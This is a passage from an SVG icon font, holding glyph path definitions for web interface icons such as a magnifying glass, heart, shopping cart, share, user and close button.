185.841796875C248.5605468749999 179.3671875 264.8320312499999 176.0859375 281.578125 176.091796875V211.60546875V224.783203125C281.58984375 224.771484375 281.44921875 224.771484375 281.4375 224.771484375z" />
    <glyph glyph-name="007-line"
      unicode="&#xF107;"
      horiz-adv-x="300" d="M124.2371047833042 191.2680945557796H121.7817089467252C119.3592272634515 191.2680945557796 117.3975437264527 189.2998281881198 117.3975437264527 186.8773465048461V142.0219383803165C117.3975437264527 139.5994566970428 119.3592272634515 137.6311903293829 121.7817089467252 137.6311903293829H124.2371047833042C126.6595864665779 137.6311903293829 128.6278528342377 139.5994566970428 128.6278528342377 142.0219383803165V186.8773465048461C128.6278528342377 189.2998281881198 126.6595864665779 191.2680945557796 124.2371047833042 191.2680945557796zM175.240876745273 191.2680945557796C173.6873287092605 191.2680945557796 172.2851857784526 190.6361428123169 171.2714298566479 189.6223868905122C170.2510911041821 188.6086309687074 169.6257221913805 187.1999052072385 169.6257221913805 185.6529400018871V159.7495013505774C169.6257221913805 159.7495013505774 147.1980181291157 189.0036008083716 146.85571093474 189.3854049867137C145.7827095369856 190.5900629976895 144.2028301783289 191.3273400317293 142.4517972224843 191.2615117251186C139.3973637957479 191.1496036038804 137.0538760804071 188.4769743554861 137.0538760804071 185.4225409287497V143.2463448832755C137.0538760804071 140.1458316419116 139.5685173929358 137.6311903293829 142.6690306342997 137.6311903293829C144.2225786703121 137.6311903293829 145.62472160112 138.2631420728456 146.6384775229247 139.2768979946504C147.6588162753906 140.2906539164551 148.2841851881922 141.6993796779241 148.2841851881922 143.2463448832755V168.9983784293805C148.2841851881922 168.9983784293805 171.0541964448326 139.4875485758046 171.3899208085472 139.1715727040733C172.3839282383687 138.2302279195403 173.7202428625659 137.6443559907051 175.1882140999844 137.6311903293829C178.3084758333315 137.6048590067387 180.8560312991655 140.3630650537269 180.8560312991655 143.483326787074V185.6529400018871C180.8560312991655 188.7541115263171 178.3413899866369 191.2680945557796 175.240876745273 191.2680945557796zM106.4437135064325 148.8687405508952H89.5916670140938V185.6535982849532C89.5916670140938 188.7541115263171 87.0770257015652 191.2687528388457 83.9765124602013 191.2687528388457C82.4229644241888 191.2687528388457 81.020821493381 190.636801095383 80.0070655715762 189.6230451735783C78.9867268191104 188.6092892517735 78.3613579063088 187.2005634903046 78.3613579063088 185.6535982849532V143.2470031663416C78.3613579063088 140.1464899249777 80.8759992188374 137.631848612449 83.9765124602013 137.631848612449H106.4437135064325C109.5442267477964 137.631848612449 112.0588680603251 140.1464899249777 112.0588680603251 143.2470031663416C112.0588680603251 144.800551202354 111.4269163168624 146.2026941331619 110.4131603950576 147.2230328856277C109.3994044732528 148.2433716380936 107.9906787117839 148.8687405508952 106.4437135064325 148.8687405508952zM217.3644101454586 180.0377854479945C220.4649233868225 180.0377854479945 222.9795646993511 182.5524267605232 222.9795646993511 185.6529400018871C222.9795646993511 188.753453243251 220.4649233868225 191.2680945557796 217.3644101454586 191.2680945557796H194.8972090992274C191.7966958578636 191.2680945557796 189.2820545453349 188.753453243251 189.2820545453349 185.6529400018871V143.2463448832755C189.2820545453349 140.1458316419116 191.7966958578636 137.6311903293829 194.8972090992274 137.6311903293829H217.3644101454586C220.4649233868225 137.6311903293829 222.9795646993511 140.1458316419116 222.9795646993511 143.2463448832755C222.9795646993511 144.799892919288 222.3476129558885 146.2020358500958 221.3338570340837 147.2223746025616C220.3201011122789 148.2427133550274 218.91137535081 148.8680822678291 217.3644101454586 148.8680822678291H200.5123636531199V158.8344878886887H217.3644101454586C220.4649233868225 158.8344878886887 222.9795646993511 161.3491292012174 222.9795646993511 164.4496424425813C222.9795646993511 166.0031904785938 222.3476129558885 167.4053334094016 221.3338570340837 168.4190893312064C220.3201011122789 169.4394280836722 218.91137535081 170.0647969964738 217.3644101454586 170.0647969964738H200.5123636531199V180.0377854479946H217.3644101454586zM0 300V0H300V300H0zM259.751256772087 162.0804816876622C259.6393486508489 160.3294487318177 259.3892010857282 158.0912863070539 258.8823231248258 155.4384055506428C257.5328428393065 146.9794681511681 254.6627286710801 138.9023349300355 250.4892140319619 131.3781594844327C248.527530494963 127.8300137581161 238.8968492378179 114.335210902923 235.9411582709976 110.7804823459453C219.7078978607994 91.2228924519069 192.5273900612423 68.6569489457597 147.0729443465553 46.7163743524141C142.8270185701653 44.6691140168213 137.988638034279 48.0790202992555 138.5086816565035 52.7594128992761L140.7995067265558 73.3768385297467C141.1681452435757 76.6616710296206 138.7917433749295 79.630527657763 135.5069108750557 79.9794176827997C81.6988530514712 85.6077378980144 40.1743572414429 122.2280248655457 40.1743572414429 166.5568065371897C40.1743572414429 214.7892067908481 89.3283537876511 253.8912209176027 149.969389837426 253.8912209176027C208.8988899153228 253.8912209176027 256.9864678944378 216.9615409090012 259.652514312171 170.6118302244087C259.7249254494427 169.2689327695505 259.9421588612581 164.9762688954669 259.751256772087 162.0804816876622z" />
    <glyph glyph-name="008-magnifiying-glass"
      unicode="&#xF108;"
      horiz-adv-x="300" d="M296.5832745821756 19.9109401567619L223.3686185874839 93.1240409737486C241.5673080910712 115.0085016381205 252.5313109111268 143.1105627669722 252.5313109111268 173.7304566001742C252.5313109111268 243.3557624517895 195.8886285406213 300 126.2664330444159 300C56.6426823705055 300 0 243.3557624517895 0 173.7304566001742C0 104.1098162816738 56.6426823705055 47.4702442665782 126.2664330444159 47.4702442665782C156.8847716999129 47.4702442665782 184.9883880064696 58.4326919089288 206.8728486708415 76.6313814125161L280.0890598432381 3.4167254178244C282.3658400033177 1.1383900800398 285.3517811968648 0 288.3361672127069 0C291.320553228549 0 294.306494422096 1.1383900800398 296.5848297598806 3.4167254178244C301.1399452577448 7.9718409156886 301.1399452577448 15.3558246588977 296.5832745821756 19.9109401567619zM23.3276655745863 173.7304566001742C23.3276655745863 230.4928876539626 69.5055571683324 276.6723344254137 126.2664330444159 276.6723344254137C183.0257537427944 276.6723344254137 229.2020901588355 230.4928876539626 229.2020901588355 173.7304566001742C229.2020901588355 116.9726910795007 183.0257537427943 70.7979098411645 126.2664330444159 70.7979098411645C69.5055571683324 70.7979098411645 23.3276655745863 116.9726910795007 23.3276655745863 173.7304566001742z" />
    <glyph glyph-name="009-heart"
      unicode="&#xF109;"
      horiz-adv-x="300" d="M275.4664589327671 263.1795851185466C259.9492392164747 279.8583975172449 238.20565656058 289.3484024174195 215.4248702710174 289.3835831584767C192.6258653834073 289.3571976026838 170.859666536833 279.8722185226602 155.3185741748232 263.1902649863675L150.0219879631608 257.5933860206813L144.7254017514984 263.1902649863675C113.8875975323223 296.3801530362236 61.9821834675646 298.2861953285002 28.7929236452274 267.4483911093242C27.3222430235334 266.0813680282451 25.9018206033497 264.6615738355803 24.5347975222707 263.1902649863675C-8.1782658407569 227.9052381610524 -8.1782658407569 173.3738330673837 24.5347975222707 138.0888062420687L142.2382490042594 13.9629848345877C146.3104197816281 9.6640239229039 153.0965334405508 9.4799532598726 157.3954943522346 13.5521240372414C157.5362173164633 13.6853082712435 157.6731709155788 13.822261870359 157.806355149581 13.9629848345877L275.467087160286 138.0888062420687C308.177637613238 173.3700637022704 308.177637613238 227.8983276583448 275.4664589327671 263.1795851185466zM259.952380354069 152.8527811632261H259.9417004862481L150.0219879631608 36.9184183743985L40.0922237997713 152.8527811632261C15.1013330987951 179.8137933634045 15.1013330987951 221.4759577328525 40.0922237997713 248.436969933031C62.7869429192476 273.0345902071895 101.1257837138298 274.5768887660355 125.7234039879883 251.8821696465592C126.9176645013759 250.7802585784468 128.0666926334041 249.6312304464185 129.1686037015166 248.436969933031L142.2382490042594 234.6486323486914C146.5453768736886 230.3691464900929 153.4992272801518 230.3691464900929 157.806355149581 234.6486323486914L170.8760004523238 248.4262900652101C193.5707195718001 273.0239103393685 231.9095603663823 274.5662088982146 256.5071806405408 251.8714897787383C257.7014411539283 250.7695787106259 258.8504692859566 249.6205505785976 259.952380354069 248.4262900652101C285.1606377765772 221.4225583937479 285.3453366671274 179.6843784945156 259.952380354069 152.8527811632261z" />
    <glyph glyph-name="010-shuffle"
      unicode="&#xF10A;"
      horiz-adv-x="300" d="M239.5590936925903 12.1898346601347C241.6411512553582 10.1077770973668 244.3355786895285 9.0667483159828 247.091243110839 9.0667483159828C249.724433557869 9.0667483159828 252.4188609920392 10.0465401102265 254.4396815676669 12.0673606858542L296.8769136558482 53.586037966932C298.8977342314759 55.5456215554194 300 58.2400489895897 300 61.1181873851806S298.8364972443357 66.6295162278016 296.8769136558482 68.6503368034292L254.4396815676669 110.169014084507C250.2755664421311 114.2106552357624 243.6619718309859 114.1494182486222 239.5590936925903 110.0465401102266C235.517452541335 105.8824249846907 235.5786895284752 99.2688303735456 239.6815676668708 95.16595223515L263.686466625842 71.6509491733007H237.0483772198408C220.8205756276791 71.6509491733007 205.5725658297612 78.8156766687079 195.1010410287814 91.2467850581751L102.63319044703 217.0887936313533C88.4874464176362 237.1132884262095 65.4011022657685 249.1157379056951 40.9063074096754 249.1157379056951H10.53276178812C4.7152480097979 249.1157379056951 0.0612369871402 244.4004898958971 0.0612369871402 238.582976117575S4.7764849969382 228.1114513165952 10.53276178812 228.1114513165952H40.9063074096754C58.6037966932027 228.1114513165952 75.3214941824862 219.4770361298224 85.6093080220453 204.8413962033068L178.4445805266381 78.5094917330067C178.5670545009186 78.325780771586 178.689528475199 78.2033067973056 178.8120024494795 78.0195958358848C193.2639314145744 60.5670545009186 214.4519289650949 50.5241886099204 237.109614206981 50.5241886099204H263.7477036129823L239.742804654011 27.0091855480711C235.517452541335 22.9675443968157 235.4562155541948 16.3539497856705 239.5590936925903 12.1898346601347zM296.8156766687079 246.1151255358237L254.1334966319657 287.9399877526026C249.9693815064299 291.981628903858 243.3557868952848 291.9203919167177 239.2529087568892 287.8175137783221C235.2112676056338 283.6533986527863 235.2725045927741 277.0398040416412 239.3753827311696 272.9369259032456L263.686466625842 249.1157379056951H237.0483772198408C214.4519289650949 249.1157379056951 193.2026944274342 239.1341090018371 178.7507654623393 221.6815676668708C178.6282914880588 221.5590936925903 178.5058175137783 221.3753827311696 178.3833435394979 221.191671769749L160.9920391916718 197.4929577464789C157.5627679118187 192.8389467238212 158.5425597060625 186.225352112676 163.2578077158604 182.796080832823C165.1561543172076 181.4488671157379 167.2994488671157 180.7752602571953 169.4427434170239 180.7752602571953C172.6883037354562 180.7752602571953 175.8726270667483 182.2449479485609 177.893447642376 185.0618493570116L195.1010410287814 208.4543784445805C205.511328842621 220.946723821188 220.7593386405389 228.050214329455 237.0483772198408 228.050214329455H263.686466625842L239.3753827311697 204.2290263319044C235.2112676056338 200.1873851806491 235.1500306184936 193.5125535823637 239.2529087568892 189.3484384568279C241.3349663196571 187.26638089406 244.0293937538274 186.225352112676 246.7850581751379 186.225352112676C249.4182486221678 186.225352112676 252.1126760563381 187.2051439069198 254.1334966319658 189.2259644825475L296.8156766687079 231.0508266993264C298.8364972443357 233.0104102878138 299.9387630128598 235.7048377219841 299.9387630128598 238.582976117575S298.8364972443356 244.1555419473362 296.8156766687079 246.1151255358237zM102.5719534598898 82.5511328842621L117.8199632578077 103.2492345376608C121.2492345376608 107.9032455603185 120.269442743417 114.5168401714636 115.5541947336191 117.9461114513166C110.9001837109614 121.3753827311697 104.2865890998163 120.3955909369259 100.8573178199633 115.680342927128L85.5480710349051 94.7985303123086C85.4868340477649 94.6760563380282 85.4255970606246 94.6148193508879 85.3643600734844 94.4923453766075C75.1377832210655 80.162890385793 58.4813227189222 71.5897121861605 40.8450704225352 71.5897121861605H10.4715248009798C4.6540110226577 71.5897121861605 0 66.8744641763626 0 61.0569503980404S4.7152480097979 50.5854255970606 10.4715248009798 50.5854255970606H40.8450704225352C65.3398652786283 50.5854255970606 88.426209430496 62.526638089406 102.5719534598898 82.5511328842621z" />
    <glyph glyph-name="011-shopping-bag"
      unicode="&#xF10B;"
      horiz-adv-x="300" d="M274.0063650068197 12.5309277117083L255.7512383048982 215.8297241032758C255.2530449139767 221.3816371946113 250.5998899284535 225.6342274652438 245.0264410997583 225.6342274652438H207.3805364791462V242.6130027996459C207.3805364791462 274.2561795601924 181.6381517551626 300 149.9964107104401 300C118.3561053815415 300 92.6165920892058 274.2561795601924 92.6165920892058 242.6130027996459V225.6342274652438H54.9448445837621C49.3713957550669 225.6342274652438 44.7182407695437 221.3816371946113 44.2200473786222 215.8297241032758L25.8931348855017 11.7312339977507C25.6232203105932 8.719102199038 26.631092819028 5.7342490009811 28.6712450049054 3.5031466105143S33.595750281161 0.001435715824 36.6179320906415 0.001435715824H263.3547893087029C263.3634036036467 0.001435715824 263.3748893302386 0.001435715824 263.3835036251825 0.001435715824C269.3316742839367 0.001435715824 274.1513723050417 4.822569452753 274.1513723050417 10.7693043956833C274.1499365892178 11.3679978942835 274.1011222512024 11.9580770979397 274.0063650068197 12.5309277117083zM114.1523294489244 242.6130027996459C114.1523294489244 262.3813739800436 130.2323466775143 278.4642626402814 149.997846426264 278.4642626402814C169.7647818908378 278.4642626402814 185.8462348352516 262.3813739800436 185.8462348352516 242.6130027996459V225.6342274652438H114.1523294489244V242.6130027996459zM48.3965447105836 21.5357373597186L64.7895479888014 204.0984901055251H92.6165920892058V184.8426694742887C92.6165920892058 178.8959345313584 97.4362901103108 174.0748007944294 103.3844607690651 174.0748007944294C109.3326314278194 174.0748007944294 114.1523294489244 178.8959345313584 114.1523294489244 184.8426694742887V204.0984901055251H185.8462348352516V184.8426694742887C185.8462348352516 178.8959345313584 190.6659328563566 174.0748007944294 196.6141035151109 174.0748007944294C202.5622741738652 174.0748007944294 207.3819721949702 178.8959345313584 207.3819721949702 184.8426694742887V204.0984901055251H235.183173410543L251.5761766887608 21.5357373597186H48.3965447105836z" />
    <glyph glyph-name="012-shopping-cart"
      unicode="&#xF10C;"
      horiz-adv-x="300" d="M236.7499282227965 75.4234855010049H116.3394212120679L108.8974435596805 105.1919820469101H266.2570971541071L300 240.1641793668372H75.1545407137877L63.2946029402286 287.604516397429H0V269.933261849098H49.4969736387234L98.3007845687801 74.7180181288708C84.0935857547153 71.6670475252978 73.409036310476 59.014923798977 73.409036310476 43.909484551788C73.409036310476 26.5329559903203 87.5459227618696 12.3960695389267 104.9230372596929 12.3960695389267C122.3001517575161 12.3960695389267 136.4370382089098 26.5335419266759 136.4370382089098 43.909484551788C136.4370382089098 48.8735373563723 135.2798139066135 53.5709891191619 133.2261069802598 57.7522309526739H208.4468585022295C206.3931515758758 53.5709891191619 205.2359272735795 48.8735373563723 205.2359272735795 43.909484551788C205.2359272735795 26.5329559903203 219.3733996613288 12.3960695389267 236.7499282227965 12.3960695389267S268.2639291720133 26.5335419266759 268.2639291720133 43.909484551788C268.2633432356577 61.2860131132557 254.1258708479085 75.4234855010049 236.7499282227965 75.4234855010049zM79.5719148986037 222.4929248185062H277.3664504561515L252.4588819162463 122.8638225315967H104.4794834385089L79.5719148986037 222.4929248185062zM104.9230372596929 30.0673240872576C97.2900443553821 30.0673240872576 91.0802908588069 36.2770775838329 91.0802908588069 43.909484551788C91.0802908588069 51.5424774560987 97.2900443553821 57.752230952674 104.9230372596929 57.752230952674C112.5560301640036 57.752230952674 118.7657836605788 51.5424774560987 118.7657836605788 43.909484551788C118.7657836605788 36.2770775838329 112.5560301640036 30.0673240872576 104.9230372596929 30.0673240872576zM236.7499282227965 30.0673240872576C229.1169353184857 30.0673240872576 222.9071818219105 36.2770775838329 222.9071818219105 43.909484551788C222.9071818219105 51.5424774560987 229.1169353184857 57.752230952674 236.7499282227965 57.752230952674C244.3829211271072 57.752230952674 250.5926746236824 51.5424774560987 250.5926746236824 43.909484551788C250.5915027509712 36.2770775838329 244.3823351907516 30.0673240872576 236.7499282227965 30.0673240872576z" />
    <glyph glyph-name="013-share"
      unicode="&#xF10D;"
      horiz-adv-x="299.99997656250184" d="M299.896979890861 150.0801205015531L163.1767144002567 300V210.1959298675055H147.294604898859C107.952109339679 210.1959298675055 70.9625188701157 194.8745812597983 43.1419337389115 167.053996128594C15.3213491936446 139.2334109973898 0 102.2438205278265 0 62.8990357110129V0.0000234374982L26.2390116219522 28.7498684570415C61.3380385673408 67.2043025621639 111.1610327217943 89.4493266055214 163.1767144002567 89.9551558628785V0.1579517454725zM17.5804122984053 45.1950269378885V62.8990357110129C17.5804122984053 97.5471656213152 31.0729956192972 130.1239146387567 55.572505424023 154.6234244434825S112.6464755744941 192.6155175691002 147.294604898859 192.6155175691002H180.7548380269658V254.6333349895832L276.1070034291404 150.0801205015531L180.7548380269658 45.5246167558893V107.5424341763724H164.9825917982351C109.4924844146497 107.5424341763724 56.13097706008 84.8945787191736 17.5804122984053 45.1950269378885zM17.5804122984053 45.1950269378885" />
    <glyph glyph-name="014-sharing"
      unicode="&#xF10E;"
      horiz-adv-x="300" d="M229.6875 141.2109375C206.10809296875 141.2109375 185.2020263671875 129.542541796875 172.4418638671875 111.6783140625L113.9968875 146.157073828125C116.0614013671875 152.1400453125 117.1875 158.5578919921875 117.1875 165.234375C117.1875 169.264983984375 116.7778013671875 173.204040234375 115.999603125 177.008056640625L212.1734619140625 218.07861328125C221.315002734375 207.27081328125 234.963226171875 200.390625 250.1953125 200.390625C277.65655546875 200.390625 300 222.73406953125 300 250.1953125S277.65655546875 300 250.1953125 300S200.390625 277.65655546875 200.390625 250.1953125C200.390625 246.370696875 200.8392333984375 242.6513671875 201.658630078125 239.0716552734375L106.76651015625 198.5481263671875C96.1784361328125 213.812255859375 78.53622421875 223.828125 58.59375 223.828125C26.2847900390625 223.828125 0 197.5433349609375 0 165.234375S26.2847900390625 106.640625 58.59375 106.640625C75.819397265625 106.640625 91.330719140625 114.113616796875 102.060699609375 125.9857177734375L162.1673583984375 90.52734375C160.3523255859375 84.2948912109375 159.375 77.707672265625 159.375 70.8984375C159.375 32.1281431640625 190.9172056640625 0.5859375 229.6875 0.5859375S300 32.1281431640625 300 70.8984375S268.4577943359375 141.2109375 229.6875 141.2109375zM250.1953125 276.5625C264.73388671875 276.5625 276.5625 264.73388671875 276.5625 250.1953125S264.73388671875 223.828125 250.1953125 223.828125S223.828125 235.65673828125 223.828125 250.1953125S235.65673828125 276.5625 250.1953125 276.5625zM58.59375 130.078125C39.207458203125 130.078125 23.4375 145.848083203125 23.4375 165.234375S39.207458203125 200.390625 58.59375 200.390625S93.75 184.620666796875 93.75 165.234375S77.980041796875 130.078125 58.59375 130.078125zM229.6875 24.0234375C203.8398744140625 24.0234375 182.8125 45.0508119140625 182.8125 70.8984375S203.8398744140625 117.7734375 229.6875 117.7734375S276.5625 96.7460630859375 276.5625 70.8984375S255.5351255859375 24.0234375 229.6875 24.0234375zM229.6875 24.0234375" />
    <glyph glyph-name="015-user"
      unicode="&#xF10F;"
      horiz-adv-x="300" d="M300 150C300 232.7072727272728 232.7072727272727 300 150 300S0 232.7072727272728 0 150C0 106.3145454545455 18.7854545454545 66.9381818181818 48.6872727272727 39.5018181818182L48.5454545454545 39.3763636363636L53.4109090909091 35.2745454545455C53.7272727272727 35.0072727272727 54.0709090909091 34.7890909090909 54.3872727272727 34.5272727272728C56.9727272727273 32.3836363636364 59.6509090909091 30.3490909090909 62.3781818181818 28.38C63.2618181818182 27.7418181818182 64.1454545454545 27.1036363636363 65.0454545454546 26.4818181818182C67.9581818181818 24.4745454545454 70.9472727272727 22.5709090909091 74.0018181818182 20.7654545454545C74.6672727272727 20.3727272727273 75.3381818181818 19.990909090909 76.0090909090909 19.6090909090909C79.3527272727273 17.7054545454545 82.7672727272727 15.9109090909091 86.2636363636364 14.2636363636364C86.52 14.1436363636363 86.7818181818182 14.0345454545454 87.0381818181818 13.9145454545455C98.4327272727273 8.6181818181818 110.5963636363636 4.7290909090909 123.3163636363636 2.4327272727273C123.6490909090909 2.3727272727273 123.9818181818182 2.3127272727273 124.32 2.2527272727273C128.2690909090909 1.5709090909091 132.2618181818182 1.0254545454545 136.3036363636364 0.66C136.7945454545455 0.6163636363636 137.2854545454546 0.5890909090909 137.7818181818182 0.5454545454546C141.8072727272727 0.2127272727273 145.8763636363636 0 150 0C154.0854545454545 0 158.1163636363636 0.2127272727273 162.12 0.5345454545455C162.6272727272727 0.5781818181819 163.1345454545455 0.6054545454546 163.6418181818182 0.6490909090909C167.6509090909091 1.0145454545455 171.6109090909091 1.5436363636364 175.5218181818182 2.2145454545455C175.86 2.2745454545455 176.2036363636364 2.3345454545454 176.5418181818182 2.4C189.0709090909091 4.6472727272727 201.06 8.449090909091 212.3072727272727 13.6090909090909C212.7218181818182 13.8 213.1418181818182 13.98 213.5563636363636 14.1763636363636C216.9218181818182 15.7581818181818 220.2109090909091 17.4654545454546 223.4345454545455 19.2818181818182C224.2363636363636 19.7345454545455 225.0327272727273 20.1927272727273 225.8290909090909 20.6618181818182C228.7636363636363 22.3909090909091 231.6490909090909 24.1963636363636 234.4527272727273 26.1163636363636C235.4618181818182 26.8036363636364 236.4490909090909 27.5290909090909 237.4472727272727 28.2490909090909C239.8418181818182 29.9727272727273 242.1927272727273 31.7509090909091 244.4781818181819 33.6109090909091C244.9854545454546 34.02 245.5309090909091 34.3745454545455 246.0272727272728 34.7945454545454L251.0181818181819 38.9618181818182L250.8709090909091 39.0872727272727C281.0345454545454 66.5345454545455 300 106.0909090909091 300 150zM10.9090909090909 150C10.9090909090909 226.6963636363637 73.3036363636364 289.0909090909091 150 289.0909090909091S289.0909090909091 226.6963636363637 289.0909090909091 150C289.0909090909091 108.6709090909091 270.9545454545455 71.5145454545455 242.2418181818182 46.02C240.6381818181819 47.1272727272728 239.0236363636364 48.12 237.3709090909091 48.9490909090909L191.1872727272727 72.0381818181818C187.0418181818182 74.1109090909091 184.4672727272727 78.2781818181818 184.4672727272727 82.9090909090909V99.0381818181818C185.5363636363636 100.3581818181818 186.6654545454545 101.8527272727273 187.8327272727273 103.4945454545455C193.8109090909091 111.9381818181818 198.6054545454545 121.3309090909091 202.1018181818182 131.4381818181818C209.0127272727273 134.7218181818182 213.4745454545455 141.6054545454546 213.4745454545455 149.3781818181818V168.7145454545455C213.4745454545455 173.4436363636364 211.74 178.0309090909091 208.6363636363636 181.6363636363636V207.0927272727273C208.92 209.9236363636364 209.9236363636363 225.9 198.3654545454545 239.0781818181818C188.3127272727273 250.5545454545455 172.0418181818182 256.3636363636364 150 256.3636363636364S111.6872727272727 250.5545454545455 101.6345454545455 239.0836363636364C90.0763636363636 225.9054545454546 91.08 209.9290909090909 91.3636363636364 207.0981818181819V181.6418181818182C88.2654545454545 178.0363636363637 86.5254545454545 173.449090909091 86.5254545454545 168.72V149.3836363636364C86.5254545454545 143.3781818181819 89.22 137.7763636363637 93.8345454545455 133.9963636363637C98.2527272727273 116.6890909090909 107.3454545454545 103.5872727272727 110.7054545454545 99.1472727272727V83.3618181818182C110.7054545454545 78.9109090909091 108.2781818181818 74.82 104.3672727272727 72.6818181818182L61.2381818181818 49.1563636363637C59.8636363636364 48.4090909090909 58.5 47.5363636363637 57.1363636363636 46.56C28.7781818181818 72.0436363636364 10.9090909090909 108.9709090909091 10.9090909090909 150zM231.5945454545455 37.4618181818182C229.6854545454546 36.0763636363637 227.7436363636364 34.7345454545455 225.7745454545455 33.4527272727273C224.8690909090909 32.8636363636364 223.9690909090909 32.2745454545455 223.0472727272728 31.7018181818182C220.4727272727273 30.1090909090909 217.8545454545455 28.5927272727273 215.1818181818182 27.1745454545455C214.5927272727273 26.8636363636364 213.9981818181818 26.569090909091 213.4036363636364 26.2636363636364C207.2618181818182 23.1163636363637 200.9072727272728 20.4109090909091 194.3781818181818 18.2127272727273C194.1490909090909 18.1363636363637 193.92 18.0545454545455 193.6854545454545 17.9781818181819C190.2654545454545 16.8436363636365 186.8018181818182 15.8345454545455 183.3 14.9672727272728C183.2890909090909 14.9672727272728 183.2781818181819 14.9618181818183 183.2672727272728 14.9618181818183C179.7327272727273 14.089090909091 176.1545454545455 13.3636363636364 172.5545454545455 12.7690909090909C172.4563636363637 12.7527272727273 172.3581818181818 12.7309090909092 172.26 12.7145454545455C168.8727272727273 12.1636363636364 165.4581818181819 11.7654545454546 162.0327272727273 11.4654545454546C161.4272727272727 11.4109090909092 160.8218181818182 11.3727272727273 160.2109090909091 11.329090909091C156.8236363636364 11.0727272727273 153.42 10.9090909090909 150 10.9090909090909C146.5418181818182 10.9090909090909 143.0945454545455 11.0781818181819 139.6636363636364 11.3345454545455C139.0690909090909 11.3781818181819 138.4745454545455 11.4163636363637 137.8854545454545 11.4709090909091C134.4272727272727 11.7763636363637 130.9854545454545 12.1854545454546 127.5763636363636 12.7418181818182C127.4236363636364 12.7690909090909 127.2709090909091 12.7963636363637 127.1181818181818 12.8236363636364C119.9072727272727 14.0290909090909 112.8109090909091 15.8018181818182 105.9 18.12C105.6872727272727 18.1909090909091 105.4690909090909 18.2672727272727 105.2563636363636 18.3381818181818C101.8254545454545 19.5054545454545 98.4327272727273 20.7981818181818 95.1 22.2272727272727C95.0781818181818 22.2381818181818 95.0509090909091 22.2490909090909 95.0290909090909 22.26C91.8763636363636 23.6181818181818 88.7836363636364 25.1236363636364 85.7290909090909 26.7109090909091C85.3309090909091 26.9181818181818 84.9272727272727 27.1145454545455 84.5345454545455 27.3272727272727C81.7472727272727 28.8163636363637 79.02 30.4254545454546 76.3309090909091 32.1054545454546C75.5345454545455 32.6072727272727 74.7436363636364 33.1145454545455 73.9581818181818 33.6272727272727C71.4818181818182 35.2472727272727 69.0381818181818 36.9327272727273 66.66 38.7163636363637C66.4145454545455 38.9018181818182 66.18 39.0981818181818 65.9345454545455 39.2836363636364C66.1090909090909 39.3818181818182 66.2836363636364 39.48 66.4581818181818 39.5781818181819L109.5872727272727 63.1036363636364C117.0054545454546 67.1509090909091 121.6145454545454 74.9127272727273 121.6145454545454 83.3618181818182L121.6090909090909 103.0090909090909L120.3545454545454 104.5254545454546C120.2345454545455 104.6618181818182 108.4418181818182 119.0072727272727 103.9854545454545 138.4309090909091L103.4890909090909 140.5909090909091L101.6290909090909 141.7963636363637C99.0054545454545 143.4927272727273 97.4345454545454 146.3290909090909 97.4345454545454 149.3890909090909V168.7254545454546C97.4345454545454 171.2618181818182 98.5090909090909 173.6236363636364 100.4727272727272 175.3963636363637L102.2727272727272 177.0218181818182V207.4036363636364L102.2236363636363 208.1181818181818C102.2072727272727 208.2490909090909 100.5981818181818 221.3672727272727 109.8381818181818 231.9C117.7254545454545 240.8890909090909 131.2418181818182 245.4545454545455 150 245.4545454545455C168.6872727272727 245.4545454545455 182.16 240.9272727272728 190.0690909090909 232.0036363636364C199.2981818181818 221.58 197.7872727272727 208.2163636363637 197.7763636363636 208.1072727272728L197.7272727272727 177.0109090909091L199.5272727272727 175.3854545454545C201.4854545454545 173.6181818181818 202.5654545454546 171.2509090909091 202.5654545454546 168.7145454545455V149.3781818181819C202.5654545454546 145.4890909090909 199.92 141.96 196.1236363636364 140.7872727272728L193.4127272727273 139.9527272727273L192.54 137.2527272727273C189.3218181818182 127.2545454545455 184.7400000000001 118.02 178.9254545454546 109.8054545454546C177.4963636363637 107.7872727272728 176.1054545454545 105.9981818181818 174.9109090909091 104.6290909090909L173.5581818181819 103.0854545454546V82.9090909090909C173.5581818181819 74.1163636363637 178.4454545454546 66.2072727272728 186.3109090909091 62.2800000000001L232.4945454545455 39.1909090909091C232.7890909090909 39.0436363636364 233.0781818181818 38.8909090909092 233.3672727272727 38.7381818181819C232.7836363636364 38.2963636363637 232.1836363636364 37.8872727272727 231.5945454545455 37.4618181818182z" />
    <glyph glyph-name="016-close-button"
      unicode="&#xF110;"
      horiz-adv-x="300" d="M300 270L270 300L150 180L30 300L0 270L120 150L0 30L30 0L150 120L270 0L300 30L180 150z" />
    <glyph glyph-name="017-check-symbol"
      unicode="&#xF111;"
      horiz-adv-x="300" d="M95.4545454545455 83.5227272727273L23.8636363636364 155.1136363636364L0 131.25L95.4545454545455 35.7954545454546L300 240.3409090909091L276.1363636363637 264.2045454545455z" />
    <glyph glyph-name="018-expand"
      unicode="&#xF112;"
      horiz-adv-x="300" d="M196.3388671875 178.6611328125L274.9998046875 257.3220703125V225C274.9998046875 218.096484375 280.59609375 212.5001953125 287.4996093750001 212.5001953125S300 218.096484375 300 225V287.4990234375C300 287.9109375 299.9783203125 288.3228515625 299.937890625 288.73359375C299.9197265625 288.91875 299.88515625 289.098046875 299.8587890625 289.2802734375C299.8271484375 289.501171875 299.8013671875 289.72265625 299.7580078125 289.9423828125C299.71640625 290.1521484375 299.658984375 290.35546875 299.6068359375 290.5611328125C299.559375 290.750390625 299.5177734375 290.9408203125 299.4609375 291.1283203125C299.4 291.33046875 299.323828125 291.5255859375 299.2529296875 291.723046875C299.185546875 291.9099609375 299.1240234375 292.0986328125 299.0478515625 292.283203125C298.9716796875 292.4677734375 298.8814453125 292.644140625 298.7970703125 292.8240234375C298.707421875 293.0138671875 298.623046875 293.20546875 298.5234375 293.391796875C298.430859375 293.5640625 298.3259765625 293.728125 298.22578125 293.895703125C298.116796875 294.0779296875 298.013671875 294.2625 297.8947265625 294.440625C297.77109375 294.62578125 297.6328125 294.7998046875 297.4998046875 294.9779296875C297.3884765625 295.126171875 297.2853515625 295.278515625 297.1669921875 295.4232421875C296.907421875 295.7390625 296.6343750000001 296.0431640625 296.3455078125001 296.33203125C296.3431640625 296.334375 296.3414062500001 296.33671875 296.3390625 296.3390625C296.33671875 296.34140625 296.334375 296.342578125 296.3326171875 296.344921875C296.0431640625 296.6337890625 295.7396484375 296.907421875 295.4232421875 297.1669921875C295.278515625 297.2859375 295.126171875 297.3890625 294.97734375 297.500390625C294.7998046875 297.6333984375 294.62578125 297.77109375 294.440625 297.8947265625C294.2625 298.013671875 294.0779296875 298.116796875 293.8951171875 298.22578125C293.7275390625 298.3259765625 293.5640625 298.430859375 293.391796875 298.5234375C293.20546875 298.623046875 